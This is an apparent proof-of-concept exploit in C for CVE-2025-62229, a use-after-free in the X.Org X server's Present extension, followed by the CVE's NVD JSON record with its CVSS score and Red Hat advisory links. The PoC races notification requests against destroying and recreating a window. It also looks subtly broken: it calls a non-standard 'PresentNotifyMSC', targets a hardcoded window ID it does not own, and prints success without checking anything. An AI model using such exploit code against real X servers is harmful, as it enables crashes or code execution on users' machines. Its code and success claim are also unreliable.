CVE-2025-62229

// PoC for CVE-2025-62229: X.Org X Server Present Extension Use-After-Free // Compile: gcc -o poc_cve202562229 poc_cve202562229.c -lX11 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <X11/Xlib.h> #include <X11/extensions/Xpresent.h> #define TARGET_WINDOW 0x12345678 // Target window ID void trigger_uaf(Display *dpy) { int event_base, error_base; // Check if Present extension is available if (!XPresentQueryExtension(dpy, &event_base, &error_base)) { printf("[-] Present extension not available\n"); return; } printf("[+] Present extension available\n"); // Trigger the UAF condition through rapid notification creation for (int i = 0; i < 100; i++) { // Create PresentNotifyMSC request CARD32 options = 0; CARD64 target_msc = 0; CARD64 divisor = 0; CARD64 remainder = 0; // Rapid fire requests to trigger race condition PresentNotifyMSC(dpy, TARGET_WINDOW, options, target_msc, divisor, remainder); // Immediately destroy window to create dangling pointer XDestroyWindow(dpy, TARGET_WINDOW); XFlush(dpy); // Re-create window XCreateWindow(dpy, DefaultRootWindow(dpy), 0, 0, 800, 600, 0, CopyFromParent, InputOutput, CopyFromParent, 0, NULL); } printf("[+] UAF condition triggered\n"); } int main(int argc, char *argv[]) { Display *dpy = XOpenDisplay(NULL); if (!dpy) { fprintf(stderr, "[-] Cannot open display\n"); return 1; } printf("[+] Connecting to X server: %s\n", XDisplayName(NULL)); trigger_uaf(dpy); XCloseDisplay(dpy); return 0; }

{"cve": {"id": "CVE-2025-62229", "sourceIdentifier": "[email protected]", "published": "2025-10-30T06:15:45.300", "lastModified": "2026-04-20T14:16:11.950", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the X.Org X server and Xwayland when processing X11 Present extension notifications. Improper error handling during notification creation can leave dangling pointers that lead to a use-after-free condition. This can cause memory corruption or a crash, potentially allowing an attacker to execute arbitrary code or cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:19432", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19433", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19434", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19435", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19489", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19623", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:19909", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20958", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20960", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:20961", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21035", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22040", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22041", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22051", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22055", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22056", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22077", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22096", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22164", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22167", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22364", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22365", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22426", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22427", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22667", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22729", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22742", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22753", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0031", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0033", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0034", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0035", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0036", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-62229", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402649", "source": "[email protected]"}, {"url": "https://lists.x.org/archives/xorg-announce/2025-October/003635.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/28/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00033.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}